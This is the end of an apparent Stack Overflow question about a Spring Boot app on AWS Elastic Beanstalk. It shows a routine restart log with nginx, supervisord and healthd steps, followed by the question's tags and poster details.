        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop
        Stopping nginx: [ OK ]
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
        Executing: /sbin/start supervisord
        supervisord start/running, process 13637
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop



        Executing: service nginx start
        Starting nginx: [ OK ]
        Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



        Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



        Executing: /opt/elasticbeanstalk/bin/healthd-restart



        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 1 completed
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
        Disabled forced hourly log rotation.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer succeeded
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
        CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
        CMD-TailLogs - Command CMD-TailLogs succeeded
        [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...







      java spring amazon-web-services spring-boot amazon-elastic-beanstalk




      java spring amazon-web-services spring-boot amazon-elastic-beanstalk






      share|improve this question















      share|improve this question













      share|improve this question




      share|improve this question








      edited Mar 26 at 14:28







      tamil cool

















      asked Mar 25 at 20:40









      tamil cooltamil cool

      7010 bronze badges




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